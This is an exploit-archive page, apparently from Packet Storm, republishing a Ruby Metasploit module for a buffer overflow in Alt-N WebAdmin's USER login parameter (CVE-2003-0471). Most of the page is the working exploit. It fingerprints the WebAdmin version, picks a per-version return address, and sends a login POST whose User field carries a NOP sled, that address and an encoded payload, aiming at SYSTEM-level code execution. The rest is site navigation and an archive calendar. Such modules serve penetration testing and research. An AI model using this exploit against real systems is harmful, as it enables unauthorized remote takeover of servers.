what you don't know can hurt you

Alt-N WebAdmin USER Buffer Overflow

Alt-N WebAdmin USER Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

Alt-N WebAdmin is prone to a buffer overflow condition. This is due to insufficient bounds checking on the USER parameter. Successful exploitation could result in code execution with SYSTEM level privileges.

tags | exploit, overflow, code execution
advisories | CVE-2003-0471
MD5 | 074b91fb379203291975a7da1395ab4a

Alt-N WebAdmin USER Buffer Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
'Description' => %q{
Alt-N WebAdmin is prone to a buffer overflow condition. This
is due to insufficient bounds checking on the USER
parameter. Successful exploitation could result in code
execution with SYSTEM level privileges.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-0471' ],
[ 'OSVDB', '2207' ],
[ 'BID', '8024'],
[ 'NSS', '11771'],

],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 830,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,

},
'Platform' => 'win',
'Targets' =>
[
['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
],
'DisclosureDate' => 'Jun 24 2003'))

register_options([Opt::RPORT(1000)], self.class)
end

# Identify the target based on the WebAdmin version number
def autofilter
res = send_request_raw({
'uri' => '/WebAdmin.DLL'
}, -1)

if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
case $1
when /2\.0\.4/
datastore['TARGET'] = 0
when /2\.0\.3/
datastore['TARGET'] = 1
when /2\.0\.2/
datastore['TARGET'] = 2
when /2\.0\.1/
datastore['TARGET'] = 3
else
return false
end

return true
end

# Not vulnerable
return false
end

def exploit

user_cook = rand_text_alphanumeric(2)
post_data = 'User=' + make_nops(168) + [target.ret].pack('V') + payload.encoded
post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'

print_status("Sending request...")
res = send_request_cgi({
'uri' => '/WebAdmin.DLL',
'query' => 'View=Logon',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",
'data' => post_data,
'headers' =>
{
'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
'Accept-Language' => 'en',
'Accept-Charset' => 'iso-8859-1,*,utf-8'
}
}, 5)

handler
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    8 Files
  • 2
    Jan 2nd
    11 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    2 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    18 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    10 Files
  • 10
    Jan 10th
    13 Files
  • 11
    Jan 11th
    2 Files
  • 12
    Jan 12th
    4 Files
  • 13
    Jan 13th
    21 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    12 Files
  • 16
    Jan 16th
    18 Files
  • 17
    Jan 17th
    11 Files
  • 18
    Jan 18th
    2 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close